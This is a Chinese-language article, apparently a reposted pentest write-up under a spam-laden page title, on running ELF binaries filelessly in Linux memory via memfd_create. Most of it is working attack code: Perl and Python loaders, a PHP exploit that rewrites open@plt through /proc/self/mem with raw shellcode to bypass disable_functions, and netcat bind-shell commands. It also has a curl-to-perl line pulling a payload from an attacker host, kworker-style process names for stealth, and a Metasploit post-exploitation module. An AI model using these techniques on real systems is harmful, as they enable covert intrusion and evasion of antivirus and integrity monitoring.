压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Linux系統(tǒng)內(nèi)存執(zhí)行ELF的多種方式

一、前言

無文件(fileless)惡意軟件攻擊現(xiàn)在已經(jīng)越來越流行,這一點(diǎn)并不奇怪,因?yàn)檫@種技術(shù)通常不會(huì)留下蛛絲馬跡。本文的重點(diǎn)不是介紹如何在Windows RAM中執(zhí)行程序,我們的目標(biāo)是GNU/Linux。Linux是服務(wù)器行業(yè)的領(lǐng)頭羊,在上百萬嵌入式設(shè)備和大多數(shù)web服務(wù)上都能看到Linux的身影。在本文中,我們將簡單探討如何在Linux系統(tǒng)內(nèi)存中執(zhí)行程序,也討論了如何應(yīng)付具有挑戰(zhàn)性的環(huán)境。

無文件執(zhí)行比較隱蔽,比較難檢測及跟蹤。由于該過程中不涉及新文件寫入磁盤,也沒有修改已有文件,因此基于文件系統(tǒng)一致性的檢測工具通常不會(huì)警告管理員。反病毒軟件(*nix用戶通常會(huì)忽略這種產(chǎn)品)在程序啟動(dòng)后通常不會(huì)監(jiān)控程序內(nèi)存。其外,當(dāng)系統(tǒng)安裝完畢后,許多GNU/Linux發(fā)行版會(huì)提供各種調(diào)試工具、解釋程序、編譯器和程序庫,這些都可以幫助我們實(shí)現(xiàn)無文件技術(shù)隱蔽執(zhí)行。然而,無文件執(zhí)行也有一些缺點(diǎn),比如無法在系統(tǒng)意外斷電或者重啟時(shí)正常駐留,但程序正常情況下可以保持運(yùn)行,直到目標(biāo)設(shè)備斷電下線。

無文件技術(shù)可以用來傳播惡意軟件,但功能并不局限于此。如果我們對(duì)運(yùn)行速度要求較高,可以將程序拷貝到內(nèi)存中運(yùn)行。許多Linux發(fā)行版可以完全在內(nèi)存中運(yùn)行,因此在搭載硬盤驅(qū)動(dòng)器的情況下,我們還是有可能實(shí)現(xiàn)不落盤運(yùn)行。對(duì)于信息安全而言,無文件技術(shù)在后滲透(post-exploitation)階段和情報(bào)收集階段非常有用,可以盡可能規(guī)避安全審計(jì)。

根據(jù)barkly.com的介紹,在2018年35%的病毒攻擊中涉及到無文件攻擊技術(shù)。在Windows系統(tǒng)上,黑客們通常使用內(nèi)置的PowerShell來加載和運(yùn)行代碼。這些技術(shù)之所以非常流行,原因之一是這些技術(shù)可以在Powershell Empire、Powersploit以及Metasploit中使用,非常方便。

二、C語言

在大多數(shù)情況下,安裝在主機(jī)設(shè)備上的Linux發(fā)行版通常會(huì)安裝一些內(nèi)置軟件,如Python、Perl解釋器以及C編譯器,這些都是“開箱即用”的工具。此外,web托管平臺(tái)上通常也可以使用PHP。因此我們可以使用這些語言來執(zhí)行代碼。在Linux系統(tǒng)上,我們可以使用一些非常知名方法在內(nèi)存中執(zhí)行代碼。

最簡單的一種方法就是利用掛載到文件系統(tǒng)中的共享內(nèi)存分區(qū)。

如果我們將可執(zhí)行文件掛載到/dev/shm或者/run/shm中,有可能實(shí)現(xiàn)內(nèi)存執(zhí)行,因?yàn)檫@些目錄實(shí)際上是掛載到文件系統(tǒng)上已分配的內(nèi)存空間。但如果我們使用ls命令,就可以像查看其他目錄一樣查看這些目錄。此外,已掛載的這些目錄設(shè)置了noexec標(biāo)志,因此只有超級(jí)用戶才能執(zhí)行這些目錄中的程序。這意味著我們需要找到更為隱蔽的其他方法。

我們可以考慮使用memfd_create(2)這個(gè)系統(tǒng)調(diào)用。該系統(tǒng)調(diào)用與malloc(3)比較類似,但并不會(huì)返回指向已分配內(nèi)存的一個(gè)指針,而是返回指向某個(gè)匿名文件的文件描述符,該匿名文件以鏈接(link)形式存放在/proc/PID/fd/文件系統(tǒng)中,可以使用execve(2)來運(yùn)行。memfd_create幫助文檔的解釋如下:

name參數(shù)代表文件名,在/proc/self/fd/目錄中我們可以看到該文件名為符號(hào)鏈接的目的文件。顯示在/proc/self/fd/目錄中的文件名始終帶有memfd:前綴,并且只用于調(diào)試目的。名稱并不會(huì)影響文件描述符的行為,因此多個(gè)文件可以擁有相同的名稱,不會(huì)有任何影響。

在C語言中使用memfd_create()的示例代碼如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int
main()
{
    int fd;
    pid_t child;
    char buf[BUFSIZ] = "";
    ssize_t br;

    fd = syscall(SYS_memfd_create, "foofile", 0);
    if (fd == -1)
    {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }

    child = fork();
    if (child == 0)
    {
        dup2(fd, 1);
        close(fd);
        execlp("/bin/date", "/bin/date", NULL);
        perror("execlp date");
        exit(EXIT_FAILURE);
    }
    else if (child == -1)
    {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    waitpid(child, NULL, 0);

    lseek(fd, 0, SEEK_SET);
    br = read(fd, buf, BUFSIZ);
    if (br == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    buf[br] = 0;

    printf("child said: '%s'n", buf);

    exit(EXIT_SUCCESS);
}

如上代碼使用memfd創(chuàng)建一個(gè)子進(jìn)程,將其輸出重定向至一個(gè)臨時(shí)文件,等待子進(jìn)程結(jié)束,從臨時(shí)文件中讀取子進(jìn)程輸出數(shù)據(jù)。通常情況下,*nix環(huán)境會(huì)使用|管道將一個(gè)程序的輸出重定向至另一個(gè)程序的輸入。

在解釋型語言(如perl、python等)中我們也可以使用syscall()。接下來我們看一下可能碰到的一種場景,演示如何使用memfd_create()將可執(zhí)行文件載入內(nèi)存中。

三、Perl

假設(shè)現(xiàn)在我們已經(jīng)找到了命令注入點(diǎn),我們需要找到在目標(biāo)上執(zhí)行系統(tǒng)命令的方法。在perl中我們可以使用syscall()函數(shù),此外我們還需要將ELF文件以匿名文件內(nèi)容的形式直接寫入內(nèi)存。為了完成這個(gè)任務(wù),我們可以將其寫在腳本源碼中,使用命令注入來注入腳本,當(dāng)然我們也可以選擇網(wǎng)絡(luò)下載方式。然而,這里我們要清楚目標(biāo)Linux內(nèi)核版本,因?yàn)橹挥性?strong>3.17或更高版本內(nèi)核中才能使用memfd_create()

接下來進(jìn)一步分析memfd_create()以及execve()

對(duì)于匿名文件我們準(zhǔn)備使用MFD_CLOEXEC常量,利用該常量可以在新打開的文件描述符上設(shè)置close-on-execFD_CLOEXEC)標(biāo)志。這意味著當(dāng)我們execve()?ELF文件時(shí),我們的文件描述符就會(huì)被自動(dòng)關(guān)閉。

由于我們使用的是Perl的syscall(),因此需要調(diào)用號(hào)(call number)以及數(shù)字常量(numeric constant)。我們可以在/usr/include或者網(wǎng)上找到這些信息。系統(tǒng)調(diào)用號(hào)位于#define中,前綴為__NR_。在這個(gè)場景中,64位Linux系統(tǒng)上memfd_create()的系統(tǒng)調(diào)用號(hào)為319,數(shù)字常量為FD_CLOSEXEC 0x0001U(即linux/memfd.h中的1)。

找到所需的編號(hào)后,我們可以在Perl中實(shí)現(xiàn)與C語言等效的memfd_create(name, MFD_CLOEXEC)語句。我們還需要為文件選擇一個(gè)名稱,前面提到過,我們會(huì)在/proc/self/fd/目錄中看到帶有/memfd:前綴的文件名。因此我們最好的方法就是選擇接近[:kworker]或者看上去不大可疑的另一個(gè)名稱。

比如我們可以傳入空的字符串:

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}

現(xiàn)在$fd為匿名文件的文件描述符,我們需要將ELF寫入該文件。Perl中有個(gè)open()函數(shù),通常用來打開文件,我們也可以使用該函數(shù),在參數(shù)中指定>&=FD(而非文件名),將已打開的文件描述符轉(zhuǎn)化為文件句柄。此外這里還需要設(shè)置autoflush[]

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

現(xiàn)在我們已經(jīng)搞定指向匿名文件的一個(gè)文件描述符。接下來我們需要將可執(zhí)行文件提供給Perl,可以通過如下方式:

$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary

以上命令會(huì)輸出許多行,如下所示:

print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;

執(zhí)行這些語句就可以將我們的可執(zhí)行文件載入內(nèi)存中,等待執(zhí)行。

fork()

我們還可以使用fork(),雖然這不是必選項(xiàng),但如果我們不想在運(yùn)行ELF文件后退出,fork()就可以派上用場。通常情況下,在perl中生成子進(jìn)程的方式如下所示:

while ($keep_going) {
        my $pid = fork();
        if (-1 == $pid) { # Error
                die "fork: $!";
        }
        if (0 == $pid) {
                exit 0;
        }
}

我們還可以調(diào)用fork()兩次,再配合上setsid(2),這樣就能生成獨(dú)立的子進(jìn)程,結(jié)束父進(jìn)程運(yùn)行:

# Start a child process
my $pid = fork();
if (-1 == $pid) { # Error
        die "fork1: $!";
}
if (0 != $pid) { # the parent process terminates
        exit 0;
}
# the child process becomes the parent process
if (-1 == syscall(112)) {
        die "setsid: $!";
}
# a child process (grandchild) starts
$pid = fork();
if (-1 == $pid) { # Error
        die "fork2: $!";
}
if (0 != $pid) { # the child process terminates
        exit 0;
}
# “grandchild” code

現(xiàn)在我們就可以多次運(yùn)行ELF進(jìn)程。

Execve()

Execve()這個(gè)系統(tǒng)調(diào)用可以用來執(zhí)行程序。在perl中我們可以使用Exec(),這個(gè)函數(shù)效果類似,語法也更加簡單。我們需要傳遞給exec()兩個(gè)參數(shù):待執(zhí)行的文件(內(nèi)存中的ELF文件)以及進(jìn)程名。通常情況下,文件名和進(jìn)程名相同,但由于我們可以在進(jìn)程列表中看到/proc/PID/fd/3信息,因此我們需要重命名進(jìn)程。調(diào)用exec()的語法如下:

exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";

如上命令可以運(yùn)行Netcat,但這個(gè)東西太像后門了,我們想要運(yùn)行更為隱蔽的目標(biāo)。

新創(chuàng)建的進(jìn)程不會(huì)以/proc/PID/fd符號(hào)鏈接形式打開匿名文件,但我們還是能通過/proc/PID/exe符號(hào)鏈接看到我們的ELF文件,該符號(hào)鏈接指向的是進(jìn)程正在執(zhí)行的文件。

現(xiàn)在我們已經(jīng)實(shí)現(xiàn)在Linux內(nèi)存中執(zhí)行ELF文件,不會(huì)在磁盤或者文件系統(tǒng)中留下任何痕跡。為了盡快且方便地加載可執(zhí)行文件,我們可以將帶有ELF文件的腳本通過管道交給Perl解釋器執(zhí)行:

$ curl http://attacker/evil_elf.pl | perl

四、Python

與Perl類似,在Python中我們也可以執(zhí)行如下操作:

  • 使用memfd_create()系統(tǒng)調(diào)用來創(chuàng)建匿名文件
  • 使用可執(zhí)行ELF文件填充該文件
  • 執(zhí)行該文件,也可以使用fork()多次執(zhí)行該文件
import ctypes
import os
# read the executable file. It is a reverse shell in our case
binary = open('/tmp/rev-shell','rb').read()

fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
final_fd.write(binary)
final_fd.close()

fork1 = os.fork() #create a child
if 0 != fork1: os._exit(0)

ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.

fork2 = os.fork() #create a child from the parent. 
if 0 != fork2: os._exit(0)

os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.

為了在python中調(diào)用syscall,我們需要標(biāo)準(zhǔn)的ctypes以及os庫,以便寫入并執(zhí)行文件、管理進(jìn)程。所有操作步驟都與perl類似。

在如上代碼中,我們讀取的是位于/tmp/目錄中的一個(gè)文件,我們也可以選擇從web服務(wù)器遠(yuǎn)程加載該文件。

五、PHP

前面我們已經(jīng)分析過perl以及python的實(shí)現(xiàn)代碼。許多操作系統(tǒng)默認(rèn)情況下會(huì)安裝這些語言的解釋器,下面讓我們討論最為有趣的一種場景。如果由于各種因素影響,我們無法使用perl以及python解釋器,那么可以考慮使用PHP。這種語言在web開發(fā)者中非常流行,如果我們可以在web應(yīng)用執(zhí)行代碼,那么很有可能就會(huì)碰到PHP解釋器。

遺憾的是,php并沒有處理syscall的內(nèi)置機(jī)制。

Beched之前在rdot論壇上發(fā)表過一篇文章,文中使用procfs/proc/self/mem)在當(dāng)前進(jìn)程內(nèi)存空間中將open重寫為system,從而繞過disable_functions的限制。

我們使用了這種技巧來重寫代碼中涉及到系統(tǒng)調(diào)用的一些函數(shù)。

我們以shellcode的形式將syscall傳遞給php解釋器,使用一系列命令來傳遞系統(tǒng)調(diào)用。

接下來我們一步一步實(shí)現(xiàn)PHP代碼,這個(gè)過程中涉及到一些小技巧。

首先,我們設(shè)定所需的一些參數(shù):

    $elf = file_get_contents("/bin/nc.traditional"); // elf_payload
    $args = "test -lvvp 31338 -e /bin/bash";  // argv0 argv1 argv2 ...

然后指定偏移地址:內(nèi)存中的高位(higher)及低位(lower)值,以便后面注入shellcode:

    function packlli($value) {
            $higher = ($value & 0xffffffff00000000) >> 32;
            $lower = $value & 0x00000000ffffffff;
            return pack('V2', $lower, $higher);
    }

然后構(gòu)造用來“unpack”二進(jìn)制文件的一個(gè)函數(shù),先執(zhí)行反轉(zhuǎn)操作,然后依次執(zhí)行bin2hex()hexdex(),將二進(jìn)制數(shù)值轉(zhuǎn)化為十進(jìn)制數(shù)值,為后面注入內(nèi)存做準(zhǔn)備:

function unp($value) {
        return hexdec(bin2hex(strrev($value)));
    }

然后解析ELF文件,獲取偏移值:

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);

    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }

此外我們還需要定義已安裝的PHP版本信息:

if (!defined('PHP_VERSION_ID')) {
    $version = explode('.', PHP_VERSION);
    define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}
if (PHP_VERSION_ID < 50207) {
    define('PHP_MAJOR_VERSION',   $version[0]);
    define('PHP_MINOR_VERSION',   $version[1]);
    define('PHP_RELEASE_VERSION', $version[2]);
}
echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "n";

檢查操作系統(tǒng)類型及Linux內(nèi)核版本:

if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exitingn";
    exit;
}

if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not workn";
}

我們重寫了open@plt的地址,以便繞過disable_functions限制。我們適當(dāng)修改了beched的代碼,現(xiàn)在可以將shellcode注入內(nèi)存中。

首先我們需要在二進(jìn)制文件中找到PHP解釋器的地址,為了完成這個(gè)任務(wù),我們可以運(yùn)行/proc/self/exe,然后使用parseelf()解析可執(zhí)行文件:

echo "[INFO] Trying to get open@plt offset in PHP binaryn";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exitingn";
    exit;
}

echo '[+] Offset is 0x' . dechex($open_php) . "n";
$maps = file_get_contents('/proc/self/maps');

preg_match('#s+(/.+libc-.+)#', $maps, $r);
echo "[INFO] Libc location: $r[1]n";

preg_match('#s+(.+[stack].*)#', $maps, $m);
$stack = hexdec(explode('-', $m[1])[0]);
echo "[INFO] Stack location: ".dechex($stack)."n";


$pie_base = hexdec(explode('-', $maps)[0]);
echo "[INFO] PIE base: ".dechex($pie_base)."n";

echo "[INFO] Trying to get open and system symbols from Libcn";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exitingn";
    exit;
}

找到open()函數(shù)的地址:

echo "[+] Got them. Seeking for address in memoryn";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php);

$open_addr = unp(fread($mem, 8));
echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "n";

echo "[INFO] Rewriting open@plt addressn";
$mem = fopen('/proc/self/mem', 'wb');

現(xiàn)在我們可以開始加載可執(zhí)行文件。首先我們創(chuàng)建一個(gè)匿名文件:

$shellcode_loc = $pie_base + 0x100;
$shellcode="x48x31xD2x52x54x5Fx6Ax01x5Ex68x3Fx01x00x00x58x0Fx05x5AxC3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);

fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php);
fwrite($mem, packlli($shellcode_loc));
echo "[+] Address written. Executing cmdn";
$fp = fopen('fd', 'w');

將payload寫入匿名文件:

fwrite($fp, $elf);

查找文件描述符編號(hào):

$found = false;
$fds = scandir("/proc/self/fd");
foreach($fds as $fd) {
    $path = "/proc/self/fd/$fd";
    if(!is_link($path)) continue;
    if(strstr(readlink($path), "memfd")) {
        $found = true;
        break;
    }
}
if(!$found) {
    echo '[-] memfd not found';
    exit;
}

將可執(zhí)行文件路徑寫入棧:

fseek($mem, $stack);
fwrite($mem, "{$path}x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);

處理待傳給可執(zhí)行程序的參數(shù):

fwrite($mem, str_replace(" ", "x00", $args) . "x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
    fseek($mem, $arg_ptr);
    fwrite($mem, packlli($str_ptr));

    $arg_ptr += 8;
    $str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, packlli(0x0));

echo "[INFO] Argv: " . $args . "n";

然后調(diào)用fork()執(zhí)行payload:

echo "[+] Starting ELFn";
$shellcode = "x6ax39x58x0fx05x85xc0x75x28x6ax70x58x0fx05x6ax39x58x0fx05x85xc0x75x1ax48xbf" 
            . packlli($filename_ptr) 
            . "x48xbe" 
            . packlli($argv_ptr) 
            . "x48x31xd2x6ax3bx58x0fx05xc3x6ax00x5fx6ax3cx58x0fx05";


fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fopen('done', 'r');
exit();

六、Shellcode

Shellcode實(shí)際上是可以注入內(nèi)存運(yùn)行的一組字節(jié),緩沖區(qū)溢出攻擊和其他攻擊場景中通常會(huì)涉及這方面內(nèi)容。在我們的應(yīng)用場景中,shellcode并不會(huì)返回遠(yuǎn)程服務(wù)器的命令提示符(shell),但可以幫助我們執(zhí)行所需的命令。

為了獲取所需的字節(jié),我們可以開發(fā)C代碼然后將其轉(zhuǎn)成匯編代碼,或者直接使用匯編語言來開發(fā)。

我們先來試著理解隱藏在字節(jié)數(shù)組背后的內(nèi)容。

push 57
pop rax
syscall
test eax, eax
jnz quit

首先我們需要運(yùn)行fork,64位系統(tǒng)上對(duì)應(yīng)的調(diào)用號(hào)為57,具體調(diào)用表可參考此處鏈接

然后我們需要調(diào)用setsid(調(diào)用號(hào)為112)將子進(jìn)程轉(zhuǎn)換成父進(jìn)程。

push 112
pop rax
syscall

然后再次調(diào)用fork

push 57
pop rax
syscall
test eax, eax
jnz quit

然后再輕車熟路調(diào)用execve()

; execve
mov rdi, 0xcafebabecafebabe ; filename
mov rsi, 0xdeadbeefdeadbeef ; argv
xor rdx, rdx ; envp
push 0x3b
pop rax
syscall
push -1
pop rax
ret

最后調(diào)用exit()(調(diào)用號(hào)為60)結(jié)束進(jìn)程。

; exit
quit:
push 0
pop rdi
push 60
pop rax
syscall

通過這種方式我們替換了open()函數(shù)代碼。我們的可執(zhí)行文件會(huì)被注入到內(nèi)存中,使用PHP解釋器運(yùn)行。我們可以使用shellcode來表示系統(tǒng)調(diào)用。

七、Metasploit

我們開發(fā)了一個(gè)MSF模塊,方便大家使用這些技術(shù)。

我們可以將該模塊文件拷貝至$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb,然后在Metasploit控制臺(tái)執(zhí)行reload_all命令,再輸入use post/linux/manage/download_exec_elf_in_memory命令來使用該模塊(如果拷貝至其他目錄,需要使用相應(yīng)的路徑)。在使用該模塊之前,我們需要指定一些選項(xiàng)。輸入show options顯示可設(shè)置的選項(xiàng)清單:

  • ARGS:傳遞給可執(zhí)行文件的參數(shù)
  • FILE:可執(zhí)行文件路徑,這里我們使用的是Netcat
  • NAME:進(jìn)程名。可以使用任意名稱。比如,如果想隱蔽一點(diǎn),可以使用kworker:1,如果想有趣一點(diǎn),便于演示,可以使用KittyCat
  • SESSION:meterpreter會(huì)話。這個(gè)模塊主要服務(wù)于后滲透(post-exploitation)場景
  • 然后我們需要設(shè)定托管payload的http服務(wù)器地址及端口,通過SRVHOSTSRVPORT來設(shè)定。
  • VECTOR:使用該方法在內(nèi)存中執(zhí)行程序,這不是必選參數(shù),如果未設(shè)定,則腳本自己會(huì)尋找所需的解釋器。目前我們支持PHP、Python以及Perl。

接下來運(yùn)行exlpoit或者run命令,大家可以參考演示視頻

整個(gè)工作原理如下:我們指定所需的會(huì)話(可以是meterpreter或者普通的反彈shell),然后設(shè)定ELF文件的本地路徑、參數(shù)以及顯示在進(jìn)程列表中名稱。啟動(dòng)本地web服務(wù)器來托管payload,開始搜索用于下載的實(shí)用工具(目前支持curl和wget),找到可使用的工具后,如果我們沒有在VECTOR中指定所需的解釋器,則會(huì)開始搜索所有可用的解釋器。如果找到可用的解釋器后,就從我們的web服務(wù)器上下載payload,通過管道傳輸至對(duì)應(yīng)的解釋器,效果類似于$ curl http://hacker/payload.pl | perl命令。

八、總結(jié)

在Linux系統(tǒng)中實(shí)現(xiàn)無文件執(zhí)行ELF是滲透測試中一種非常有用的技術(shù)。這種方法較為隱蔽,可以繞過各種類型的反病毒保護(hù)機(jī)制、系統(tǒng)完整性保護(hù)機(jī)制以及基于硬盤監(jiān)控的防護(hù)系統(tǒng)。通過這種方法,我們能夠以最小的動(dòng)靜訪問目標(biāo)。

在本文中我們用到了Linux發(fā)行版、內(nèi)置設(shè)備固件、路由器以及移動(dòng)設(shè)備中常見的解釋型語言,有些小伙伴們已經(jīng)研究過這方面內(nèi)容,在此特別感謝他們對(duì)我們的幫助。

上一篇:做OT的事件響應(yīng)是不可能的任務(wù)?

下一篇:Linux 進(jìn)程感染:Part 1